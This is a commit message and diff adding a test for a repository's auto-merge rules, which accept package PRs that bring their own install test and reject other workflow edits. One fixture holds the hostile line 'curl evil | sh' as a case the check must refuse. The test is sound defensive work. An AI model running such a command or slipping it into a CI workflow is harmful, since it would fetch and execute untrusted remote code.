Auto-merge package PRs that bring their own test (#868)

#867 auto-merged only PRs changing nothing outside pkgbuilds/, so it would
have left #854 open too: like voxtype-bin and the IPU7 camera before it,
Superwhisper added tests/superwhisper-bin-install.sh and one test.yml line
running it.

Count those as package changes: a new file under tests/, and a test.yml
change whose every line adds a ./tests/*.sh call. test.yml runs on PRs only.
Editing an existing test still needs a maintainer, since builder-images.yml
runs tests/build-isolation.sh on master with packages: write.

tests/pr-workflow-approval.cjs

@@ -496,6 +496,22 @@ test('auto-merge only lands PRs that change nothing outside pkgbuilds/', () => {
   assert.equal(check([]), false);
 });
 
+test('auto-merge accepts the test a package PR brings, and nothing else outside pkgbuilds/', () => {
+  const check = files => decide({ pr: mergeable(), files, vouchStatus: 'collaborator', repository }).enable;
+  const wiring = patch => ({ filename: '.github/workflows/test.yml', status: 'modified', patch });
+  const newTest = { filename: 'tests/superwhisper-bin-install.sh', status: 'added' };
+  // #854's shape: package files, a new test, and one line in test.yml running it.
+  const adds = '@@ -67,6 +67,7 @@ jobs:\n               ./tests/voxtype-bin-install.sh\n+              ./tests/superwhisper-bin-install.sh\n               pacman -S --noconfirm --quiet rclone >/dev/null';
+  assert.equal(check([...packageFiles, newTest, wiring(adds)]), true);
+  // An existing test can run on master with write access; editing it is not a package change.
+  assert.equal(check([...packageFiles, { filename: 'tests/build-isolation.sh', status: 'modified' }]), false);
+  // test.yml changes that do anything but add a test call.
+  assert.equal(check([...packageFiles, wiring('@@ -1 +1 @@\n-on:\n+on: [push]')]), false);
+  assert.equal(check([...packageFiles, wiring('@@ -67 +67,2 @@\n+              ./tests/x.sh\n+              curl evil | sh')]), false);
+  assert.equal(check([...packageFiles, wiring('@@ -67 +67 @@\n-              ./tests/a.sh\n+              ./tests/b.sh')]), false);
+  assert.equal(check([...packageFiles, wiring(undefined)]), false);
+});
+
 test('auto-merge skips drafts, closed PRs and the reviewed upstream sync', () => {
   const check = pr => decide({ pr, files: packageFiles, vouchStatus: 'bot', repository }).enable;
   assert.equal(check(mergeable({ draft: true })), false);